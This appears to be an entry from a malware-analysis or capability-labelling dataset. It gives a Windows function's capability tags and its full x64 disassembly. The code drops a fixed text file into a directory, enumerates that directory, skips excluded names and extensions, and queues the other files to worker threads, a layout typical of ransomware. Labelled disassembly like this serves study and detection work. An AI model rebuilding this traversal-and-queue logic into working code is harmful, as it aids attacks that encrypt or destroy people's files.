Function at 0x14001c0c0
Capabilities:
Enumerate files on windows
Write file on windows

Disassembly:
push rbx
push rbp
push r15
sub rsp, 0x2d0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rbx, rdx
mov r15, rcx
mov rcx, qword [0x140034fc0]
mov edx, 8
mov r8d, 0x10000
call qword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov rbp, rax
test rax, rax
je 0x14001c4c8
mov qword [rsp + 0x2c8], rdi
mov rdx, r15
mov qword [rsp + 0x2c0], r12
mov rcx, rax
mov qword [rsp + 0x2b0], r14
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [0x14000ee38]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov edx, 0x40000000
mov dword [rsp + 0x28], r12d
mov rcx, rbp
mov dword [rsp + 0x20], 1
lea r8d, [r12 + 1]
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x14001c1a3
lea rcx, [0x14000a3a0]
call qword [sym.imp.KERNEL32.DLL_lstrlenA]
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r12
mov r8d, eax
lea rdx, [0x14000a3a0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rdi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [0x14000ee5c]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rsp + 0x50]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_FindFirstFileW]
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x14001c49e
mov qword [rsp + 0x300], rsi
mov qword [rsp + 0x2b8], r13
lea r13, [0x140033ca0]
test dword [rsp + 0x50], 0x1410
jne 0x14001c46f
mov edi, r12d
mov rsi, r13
nop word [rax + rax]
mov rdx, qword [rsi]
lea rcx, [rsp + 0x7c]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x14001c46f
inc edi
add rsi, 8
cmp edi, 0x11
jb 0x14001c210
mov edi, r12d
lea rsi, [0x140033a60]
nop dword [rax + rax]
movzx eax, word [rsp + 0x7c]
lea rcx, [rsp + 0x7c]
mov rdx, r12
test ax, ax
je 0x14001c279
cmp ax, 0x5c
je 0x14001c269
cmp ax, 0x20
je 0x14001c269
cmp ax, 0x2e
jne 0x14001c26c
mov rdx, rcx
jmp 0x14001c26c
mov rdx, r12
movzx eax, word [rcx + 2]
add rcx, 2
test ax, ax
jne 0x14001c252
test rdx, rdx
cmovne rcx, rdx
mov rdx, qword [rsi]
call qword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x14001c46f
inc edi
add rsi, 8
cmp edi, 0x47
jb 0x14001c240
cmp dword [rsp + 0x6c], r12d
jne 0x14001c2ae
cmp dword [rsp + 0x70], r12d
je 0x14001c46f
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea rdx, [0x14000ee64]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
lea rdx, [rsp + 0x7c]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrcatW]
nop dword [rax + rax]
mov rcx, qword [0x140034fd0]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x14001c3b2
nop word [rax + rax]
mov rcx, qword [0x140034fd8]
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x14001c2e0
lea rcx, [0x140034fe0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
movsxd rdx, dword [0x14003501c]
lea rcx, [0x140034fe0]
mov rax, qword [0x140035010]
mov rdi, qword [rax + rdx*8]
lea eax, [rdx + 1]
cdq
idiv dword [0x140035008]
mov dword [0x14003501c], edx
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov rcx, qword [0x140034fd0]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.DLL_ReleaseSemaphore]
test rdi, rdi
je 0x14001c2e0
lea rdx, [rsp + 0x44]
mov dword [rsp + 0x44], r12d
mov rcx, rdi
call fcn.14001b650
test eax, eax
je 0x14001c391
inc dword [rbx + 0x14]
mov edx, eax
mov rcx, rdi
call fcn.14001a310
jmp 0x14001c39b
inc dword [rbx + 0x18]
mov eax, dword [rsp + 0x44]
add dword [rbx + 0x10], eax
mov rcx, qword [0x140034fc0]
mov r8, rdi
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_HeapFree]
jmp 0x14001c300
lea rcx, [0x140034fe0]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_lstrlenW]
mov rcx, qword [0x140034fc0]
mov edx, 8
lea eax, [rax*2 + 2]
mov r8d, eax
mov edi, eax
call qword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [rsp + 0x40], r12d
mov r9, rax
movsxd rcx, dword [rsp + 0x40]
cmp rcx, rdi
jae 0x14001c427
nop dword [rax + rax]
movsxd r8, dword [rsp + 0x40]
movsxd rcx, dword [rsp + 0x40]
movzx eax, byte [r8 + rbp]
mov byte [rcx + r9], al
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
movsxd rax, dword [rsp + 0x40]
cmp rax, rdi
jb 0x14001c400
movsxd rcx, dword [0x140035018]
mov rax, qword [0x140035010]
mov qword [rax + rcx*8], r9
lea rcx, [0x140034fe0]
mov eax, dword [0x140035018]
inc eax
cdq
idiv dword [0x140035008]
mov dword [0x140035018], edx
call qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
mov rcx, qword [0x140034fd8]
xor r8d, r8d
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.DLL_ReleaseSemaphore]
lea rdx, [rsp + 0x50]
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x14001c1f1
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_FindClose]
mov r13, qword [rsp + 0x2b8]
mov rsi, qword [rsp + 0x300]
mov rcx, qword [0x140034fc0]
mov r8, rbp
xor edx, edx
call qword [sym.imp.KERNEL32.DLL_HeapFree]
mov r14, qword [rsp + 0x2b0]
mov r12, qword [rsp + 0x2c0]
mov rdi, qword [rsp + 0x2c8]
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.14001d940
add rsp, 0x2d0
pop r15
pop rbp
pop rbx
ret